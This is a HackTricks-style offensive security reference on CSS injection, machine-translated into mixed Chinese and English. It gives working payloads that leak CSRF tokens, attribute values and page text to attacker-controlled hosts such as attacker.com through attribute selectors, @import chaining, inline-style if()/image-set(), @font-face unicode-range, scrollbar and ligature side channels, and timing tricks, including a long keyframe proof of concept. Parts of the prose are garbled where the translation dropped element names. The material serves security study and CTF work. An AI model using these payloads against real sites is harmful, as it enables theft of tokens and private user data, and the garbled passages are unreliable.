CSS Injection

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

CSS Injection

LESS Code Injection

LESS 是一种流行的 CSS 预处理器,它添加了变量、mixins、函数以及强大的 @import 指令。在编译期间,当使用 (inline) 选项时,LESS 引擎会获取 @import 语句中引用的资源并将其内容嵌入(“内联”)到生成的 CSS 中。

{{#ref}} less-code-injection.md {{/ref}}

属性选择器

CSS 选择器被构造用于匹配输入元素的 name 和 value 属性的值。如果输入元素的 value 属性以特定字符开头,则会加载预定义的外部资源:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

但是,这种方法在处理隐藏的 input 元素(type=“hidden”)时存在限制,因为隐藏的元素不会加载背景。

绕过隐藏元素

为绕过此限制,可以使用 ~ 通用兄弟选择器定位随后出现的兄弟元素。然后该 CSS 规则会应用于隐藏的 input 元素之后的所有兄弟元素,从而触发背景图片加载:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it 这里.

CSS Injection 的前提条件

对于 CSS Injection 技术要有效,需要满足以下条件:

  1. Payload Length:CSS 注入向量必须支持足够长的 payload,以容纳精心构造的 selectors。
  2. CSS Re-evaluation:您应该能够对页面进行 frame(即将页面嵌入 frame/iframe),这对于触发 CSS 对新生成 payload 的重新评估是必要的。
  3. External Resources:该技术假定可以使用托管在外部的 images。站点的 Content Security Policy (CSP) 可能会限制这一点。

Blind Attribute Selector

这篇文章中所述,可以结合选择器 :has:not 来识别即使是盲元素(blind elements)中的内容。当您对加载 CSS injection 的网页内部内容一无所知时,这非常有用。
也可以使用这些选择器从多个相同类型的 block 中提取信息,例如:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Combining this with the following @import technique, it’s possible to exfiltrate a lot of info using CSS injection from blind pages with blind-css-exfiltration.

@import

The previous technique has some drawbacks, check the prerequisites. You either need to be able to send multiple links to the victim, or you need to be able to iframe the CSS injection vulnerable page.

However, there is another clever technique that uses CSS @import to improve the quality of the technique.

This was first showed by Pepe Vila and it works like this:

Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to load the page just once and just with an import to the attackers server (this is the payload to send to the victim):

@import url("//attacker.com:5001/start?");
  1. The import 将 接收一些来自攻击者的 CSS 脚本,并且 浏览器会加载它
  2. 攻击者发送的 CSS 脚本的第一部分是 另一个指向攻击者服务器的 @import
  3. 攻击者的服务器此时不会响应这个请求,因为我们想先 leak 一些字符,然后用用于泄露下一个字符的 payload 响应这个 import。
  4. payload 的第二部分(更大的一部分)将是一个 attribute selector leakage payload
  5. 这会向攻击者服务器发送 secret 的第一个字符和最后一个字符
  6. 一旦攻击者服务器收到了 secret 的首尾字符,它将 响应步骤 2 中请求的 import
  7. 响应将与 步骤 2、3 和 4 完全相同,但这次它会尝试 找到 secret 的第二个字符然后是倒数第二个字符

攻击者将 follow that loop until it manages to leak completely the secret

You can find the original Pepe Vila’s code to exploit this here or you can find almost the same code but commented here.

Tip

脚本每次会尝试发现 2 个字符(从开头和结尾各一个),因为 attribute selector 允许像下面这样操作:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

这使得脚本可以更快地 leak 出 secret。

Warning

有时脚本 无法正确判断已发现的 prefix + suffix 是否已构成完整的 flag,它会继续向前(在 prefix)和向后(在 suffix)搜索,最终可能会挂起。
不用担心,只要检查 输出,因为 你可以在那里看到 flag

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: control an element’s style attribute and ensure the target attribute is on the same element (attr() reads only same-element attributes).
  • Read: copy the attribute into a CSS variable: –val: attr(title).
  • Decide: select a URL using nested conditionals comparing the variable with string candidates: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: apply background: image-set(var(–steal)) (or any fetching property) to force a request to the chosen endpoint.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

可用的 payload (比较中需要使用双引号):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

使用嵌套条件枚举属性值:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

真实演示(探测用户名):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

注意事项与局限:

  • 在研究时适用于 Chromium-based browsers;在其他引擎上的行为可能不同。
  • 最适合用于有限/可枚举的值空间(IDs、flags、短用户名)。在没有外部样式表的情况下窃取任意长字符串仍然具有挑战性。
  • 任何会获取 URL 的 CSS 属性都可以用来触发请求(例如 background/image-set、border-image、list-style、cursor、content)。

自动化:一个 Burp Custom Action 可以生成嵌套的 inline-style payloads 来暴力穷举属性值:https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Other selectors

使用 CSS selectors 访问 DOM 部分的其他方式:

  • .class-to-search:nth-child(2): 这将搜索 DOM 中 class 为 “class-to-search” 的第二个元素。
  • :empty selector: Used for example in this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

参考: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

总体意图是 从一个受控端点使用自定义字体,并确保 只有在指定资源(favicon.ico)无法加载时,文本(在此示例中为 ‘A’)才使用该字体显示

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. 自定义字体用法
  • 在 部分的
  • 字体命名为 poc,并从外部端点 (http://attacker.com/?leak) 获取。
  • unicode-range 属性设置为 U+0041,针对特定的 Unicode 字符 ‘A’。
  1. 带回退文本的 元素
  • 在 部分创建了 id=“poc0” 的 元素。该元素尝试从 http://192.168.0.1/favicon.ico 加载资源。
  • 该元素的 font-family 设置为 ‘poc’,如
  • 如果资源 (favicon.ico) 无法加载, 标签内的回退内容(字母 ‘A’)将显示。
  • 如果外部资源无法加载,回退内容 (‘A’) 将使用自定义字体 poc 渲染。

样式化 Scroll-to-Text Fragment

使用 :target 伪类选择由 URL fragment 定位的元素,如 CSS Selectors Level 4 specification 所述。重要的是要理解,除非片段明确定位到文本,否则 ::target-text 不会匹配任何元素。

当攻击者利用 Scroll-to-text fragment 功能时,会产生安全问题:他们可以通过 HTML injection 从自己的服务器加载资源,从而确认网页上是否存在特定文本。该方法包括注入如下 CSS 规则:

:target::before {
content: url(target.png);
}

在这种情况下,如果页面上存在文本 “Administrator”,资源 target.png 将会从服务器被请求,从而表明该文本存在。此类攻击的一个实例可以通过一个特制的 URL 执行,该 URL 将注入的 CSS 与 Scroll-to-text 片段一起嵌入:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text “Administrator” through the Scroll-to-text fragment (#:~:text=Administrator). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.

为缓解,应注意以下几点:

  1. 受限的 STTF 匹配: Scroll-to-text Fragment (STTF) 被设计为仅匹配单词或句子,从而限制了其 leak arbitrary secrets or tokens 的能力。
  2. 限制到顶层浏览上下文: STTF 仅在顶层浏览上下文中运行,在 iframes 中无效,这使得任何 exploitation attempt 更容易被用户注意到。
  3. 需要用户激活: STTF 需要一个 user-activation gesture 才能生效,这意味着 exploitations 只能通过 user-initiated navigations 实现。该要求在很大程度上降低了 attacks being automated 而无需用户交互的风险。然而,blog post 的作者指出了特定条件和 bypasses(例如 social engineering、与常见 browser extensions 的交互),这些可能使攻击的自动化更容易实现。

了解这些机制和潜在的漏洞对于维护 Web 安全并防范此类利用性手段至关重要。

欲了解更多信息,请查看原始报告: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

这里有一个用于 CTF 的 exploit 示例

@font-face / unicode-range

你可以指定 用于特定 unicode 值的外部字体,只有当这些 unicode 值存在于页面中时才会 被收集。例如:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

当你访问此页面时,Chrome 和 Firefox 会请求 “?A” 和 “?B”,因为 sensitive-information 的文本节点包含字符 “A” 和 “B”。但 Chrome 和 Firefox 不会请求 “?C”,因为它不包含 “C”。这意味着我们已经能够读取到 “A” 和 “B”。

Text node exfiltration (I): ligatures

参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

该技术通过利用 font ligatures 并监测宽度变化,从节点中提取文本。该过程包括以下几个步骤:

  1. 创建自定义字体
  • 使用 SVG fonts 创建 glyph,这些 glyph 带有 horiz-adv-x 属性,该属性为表示两个字符序列的 glyph 设置很大的宽度。
  • 示例 SVG glyph: , 其中 “XY” 表示一个两个字符的序列。
  • 然后使用 fontforge 将这些字体转换为 woff 格式。
  1. 宽度变化检测
  • 使用 CSS 确保文本不换行 (white-space: nowrap),并自定义滚动条样式。
  • 水平滚动条的出现(通过特殊样式区分)充当一个指示器(oracle),表明某个特定的 ligature,从而某个特定的字符序列,出现在文本中。
  • 相关 CSS 如下: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 利用流程
  • Step 1:为字符对创建具有较大宽度的字体。
  • Step 2:使用基于滚动条的技巧来检测何时渲染出大宽度的 glyph(字符对的 ligature),从而指示该字符序列的存在。
  • Step 3:一旦检测到 ligature,就生成表示三字符序列的新 glyph,将检测到的字符对与一个前置或后置字符组合。
  • Step 4:检测该三字符 ligature。
  • Step 5:重复该过程,逐步揭示完整文本。
  1. 优化
  • 当前使用 的初始化方法并不理想。
  • 更高效的方法可以采用 CSS @import trick,以提升 exploit 的性能。

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

参考: PoC using Comic Sans by @Cgvwzq & @Terjanq

这个技巧在这个 Slackers thread 发布。文本节点使用的 charset 可以通过浏览器中预装的默认字体被 leaked:无需外部或自定义字体。

该方法的核心是利用动画逐步扩展一个 div 的宽度,让字符逐个从文本的 ‘suffix’ 部分移动到 ‘prefix’ 部分。这个过程将文本有效地分成两部分:

  1. 前缀:初始行。
  2. 后缀:后续行(们)。

过渡阶段的字符看起来如下:

C
ADB

CA
DB

CAD
B

CADB

在此过渡期间,使用 unicode-range trick 来识别每个加入前缀的新字符。实现方式是将字体切换为 Comic Sans,Comic Sans 明显比默认字体更高,从而触发垂直滚动条。该滚动条的出现会间接揭示前缀中有新字符加入。

虽然该方法可以检测到出现的唯一字符,但无法指出哪个字符被重复,只能表明发生了重复。

Tip

基本上,unicode-range is used to detect a char,但因为我们不想加载外部字体,需要找到另一种方法。
charfound 时,会将其赋予预装的 Comic Sans font,这会使该 char 变得更 biggertriggers a scroll bar,从而 leak the found char

查看从 PoC 提取的代码:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset 用默认字体通过隐藏元素(不需要外部资源)

参考: 这在 an unsuccessful solution in this writeup

这一情况与之前非常相似,然而在这里把特定 字符比其他字符更大以隐藏某些东西 的目的,是为了隐藏像按钮(不被 bot 点击)或不会被加载的图片之类的元素。我们可以通过测量该动作(或缺乏该动作)来判断特定字符是否存在于文本中。

Text node exfiltration (III): leaking the charset 通过缓存时序(不需要外部资源)

参考: 这在 an unsuccessful solution in this writeup

在这种情况下,我们可以尝试通过从同源加载一个伪造字体来 leak 某个字符是否存在于文本中:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1。虽然它不会成功加载,但browser should cache it,即使没有缓存,也有304 not modified机制,所以response should be faster

然而,如果缓存响应与未缓存响应的时间差不够大,这就没什么用。例如,作者提到:不过经过测试,我发现第一个问题是速度差异不大,第二个问题是 bot 使用了 disk-cache-size=1 标志,这点确实周到。

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Reference: 这在 an unsuccessful solution in this writeup 中被提到

在这种情况下,当发生匹配时,你可以指定 CSS to load hundreds of fake fonts 从同一源加载数百个伪字体。通过这种方式你可以 measure the time 所需时间,并通过类似如下的方法判断某个字符是否出现:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

机器人的代码如下:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

因此,如果字体不匹配,访问 bot 时的响应时间预计约为 30 秒。然而,如果字体匹配,会发送多个请求来检索字体,导致网络持续活动。结果,要满足停止条件并收到响应需要更长时间。因此,响应时间可用作判断是否存在字体匹配的指标。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks